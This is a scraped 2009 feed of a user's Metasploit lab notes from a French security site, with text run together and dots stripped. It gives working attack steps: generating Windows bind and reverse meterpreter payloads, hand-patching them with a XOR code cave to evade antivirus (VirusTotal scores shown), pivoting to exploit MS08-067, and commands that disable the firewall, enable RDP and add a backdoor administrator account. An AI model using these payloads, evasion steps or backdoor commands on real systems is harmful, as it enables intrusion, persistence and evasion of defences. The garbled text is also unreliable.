http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2009-06-14 21:05:55 - ne0matrix : IMAGEhttp://www.secuobs.com/revue/news/109541.shtmlhttp://www.secuobs.com/revue/news/109541.shtml Secuobs.com : 2009-05-23 16:40:04 - ne0matrix - Utility that opens the Metasploit framework for remote accessBasically turns the framework on the local machine into a server forremote machinesLocation:/pentest/exploit/framework3Usage:/msfd -a -d -pExample:/msfd -a 1921681100 -d -p 4444* Initializing msfd* Running msfdlinks:https://wikiremote-exploitorg/backtrack/wiki/msfdhttp://tracmetasploitcom/browser/framework3/trunk/msfdIMAGEhttp://www.secuobs.com/revue/news/100996.shtmlhttp://www.secuobs.com/revue/news/100996.shtml Secuobs.com : 2009-05-23 16:40:04 - ne0matrix - This plugin provides an msf daemon interface that spawns a listener onadefined port default 55554 and gives each connecting client its ownconsole interface These consoles all share the same frameworkinstancelink:http://tracmetasploitcom/browser/framework3/trunk/plugins/msfdrbIMAGEhttp://www.secuobs.com/revue/news/100995.shtmlhttp://www.secuobs.com/revue/news/100995.shtml Secuobs.com : 2009-05-22 00:12:47 - ne0matrix - IMAGEhttp://www.secuobs.com/revue/news/100253.shtmlhttp://www.secuobs.com/revue/news/100253.shtml Secuobs.com : 2009-05-17 15:13:20 - ne0matrix - Fichier encodedbindtcpxexe reçu le 20090516 23:23:28 CETSituationactuelle: terminéRésultat: 6/40 1500%http://wwwvirustotalcom/fr/analisis/2dcd8d8636d7aae5dd1ae629abcca482IMAGEhttp://www.secuobs.com/revue/news/97440.shtmlhttp://www.secuobs.com/revue/news/97440.shtml Secuobs.com : 2009-05-15 23:32:04 - ne0matrix - ***Based on the shmoocon demo made by Muts***Backtrack:msfpayload windows/shell_bind_tcp LPORT=55555 X bindtcpexeWindows:Click on the file == bindshell on port 55555check: netstat -na | find "55555"PEditoridata: vsize:500 - rsize:400hexedit:+ 200 hex bytes-------------OLLYdbg-------------first instructions:00401000 31C0 XOR EAX,EAX00401002 68 34104000 PUSH00401007 64:FF30 PUSH DWORD PTR FS:EAX0040100A 64:8920 MOV DWORD PTR FS:EAX,ESP0040100D 6A 40 PUSH 40Code cave: 00401066start: 00401002end: 00401060XOR loop:MOV EAX, 00401002 # Start of encoding addressXOR BYTE PTR DS: EAX, 5E # XOR the contents of EAX with the key 5EINC EAX # Increase EAXCMP EAX, 00401060 # Tests to see if we've reached the end of our encJLE SHORT xxx # If not, jump back to XOR commandAfter the loop:XOR EAX,EAX overwritten instructionsJMP 00401002 the address after the overwritten instructions------------------------------------------------------------Commentaires------------------------------------------------------------1- Créer un payload bind_tcpmsfpayload windows/shell_bind_tcp LPORT=55555 X bindtcpexe parexemple2- Le scanner via virustotal résultat3- Cliquer sur le payload et vérifier que le port un ouvertnetstat -na | find "55555"4- Exécuter le payload dans PEditorModifier la section idatavsize:500 et rsize:400Elle doit être readable, writable et executableModifier la section text readable, Writable et executableEnregistrer5- Ouvrez le payload avec HexeditAjoutez 200 hex bytesPuisque initial-rsize=200, actual-rsize=400 400-200 == 200Enregistrer6- Lancer le payload via OllydbgCopier les 1eres instructions dans notepad pour repérer lesinstructions qui seront remplacéesTrouver un espace libre pour le "code-cave"Retouner à l'OEPentrypoint/début, remplacer la 1ere instruction par"JMP adresse-du-code-cave"Définir/repérer l'adresse à laquelle doit commencer l'encodageDéfinir/repérer l'adresse à laquelle doit se terminer l'encodage, etmodifier la boucle ASM avec ces adressesAprès la boucle, introduire l'instruction les instructions qui a étéremplacée par le JMP du débutEt terminer par un 2e JMP vers l'adresse 00401002 qui suitl'instruction remplacéeIMAGEhttp://www.secuobs.com/revue/news/96986.shtmlhttp://www.secuobs.com/revue/news/96986.shtml Secuobs.com : 2009-05-15 23:32:04 - ne0matrix - /msfpayload windows/shell_bind_tcp LPORT=55555 X ***exeFichier bindtcpxexe reçu le 20090515 20:33:46 CETSituation actuelle: terminéRésultat: 12/40 3000%------------------------------------------------------------Execution flow hijack == XOR encryptionFichier bindtcpx1exe reçu le 20090515 20:35:25 CETSituation actuelle: terminéRésultat: 8/40 2000%------------------------------------------------------------/msfpayload windows/shell_bind_tcp LPORT=55555 R | msfencode -b '' -texe -o ***exeFichier encodedbindtcpexe reçu le 20090515 20:37:02 CETSituation actuelle: terminéRésultat: 8/39 2051%IMAGEhttp://www.secuobs.com/revue/news/96985.shtmlhttp://www.secuobs.com/revue/news/96985.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - COURAGE is not the ability to be fearless, but the ability to act inspite of fearBetter to fight for something than to live for nothingGen GS PattonIMAGEhttp://www.secuobs.com/revue/news/91831.shtmlhttp://www.secuobs.com/revue/news/91831.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - IMAGEhttp://www.secuobs.com/revue/news/91830.shtmlhttp://www.secuobs.com/revue/news/91830.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - IMAGEhttp://www.secuobs.com/revue/news/91829.shtmlhttp://www.secuobs.com/revue/news/91829.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - IMAGEhttp://www.secuobs.com/revue/news/91828.shtmlhttp://www.secuobs.com/revue/news/91828.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - ----------------------------------------------network 1 wifiR1: xxxxxxxx public IPNAT overload + static PAT 53, 69, 4444, 4445A: Laptop BT 19216818 attacker----------------------------------------------network 2R2: NAT overload firewallB: Desktop XPsp2 192168167 target1 - pivotC: Laptop XPsp3 192168166 target2----------------------------------------------A ==wifi== * R1 * ---internet-- * R2 * ==wire== + B + ==wire== C--------------------------------------------------------------------------------------------ATTAQUE 1 BEnvoi par emailpar ex d'un fichier douteux doc-macrovba, pdf,jpg, etc qui éxécute un payload reverse tcpmsfpayload windows/meterpreter/reverse_tcp LHOST=xxxxxxxxLPORT=4444 X reverseexe#pour la démonstration, on a transféré le fichier via tftpmsfconsoleuse multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 19216818set LPORT 4444exploit#B éxécute reverseexe == 1ere séssion meterpreter----------------------------------------------CONFIGURATION PIVOT sur Bportfwd add -L 127001 -l 4445 -r 192168166 -p 445backgroundroute add 192168166 255255255255 1#1 étant le numéro de la séssion----------------------------------------------ATTAQUE 2 Cuse windows/smb/ms08_067_netapiset RHOST 192168166set RPORT 445set payload windows/meterpreter/bind_tcpset LPORT 4445exploit#2e séssion meterpreterIMAGEhttp://www.secuobs.com/revue/news/91827.shtmlhttp://www.secuobs.com/revue/news/91827.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - Getgui script:getguirb on metasploitrun getgui -hmanual config:Netstat –na find “3389”Netsh firewall show opmodenetsh firewall set opmode mode=DISABLEnetsh firewall set opmode exception=ENABLEnetsh firewall set service type = remotedesktop mode = enablenetsh firewall set service type = remotedesktop mode = enablescope=CUSTOM 192168164reg query "HKLMSYSTEMCurrentControlSetControlTerminal Server" find"fDenyTSConnections"reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /vfDenyTSConnections /t REG_DWORD /d 0 /fnet user morpheus thematrix /addnet localgroup "Utilisateurs de Bureau à distance" /add"net localgroup Administrateurs morpheus /addIMAGEhttp://www.secuobs.com/revue/news/91826.shtmlhttp://www.secuobs.com/revue/news/91826.shtml Secuobs.com : 2009-05-04 21:34:36 - ne0matrix - scraperrb on metasploit dot comhttp://tracmetasploitcom/wiki/AutomatingMeterpreterIMAGEhttp://www.secuobs.com/revue/news/91825.shtmlhttp://www.secuobs.com/revue/news/91825.shtml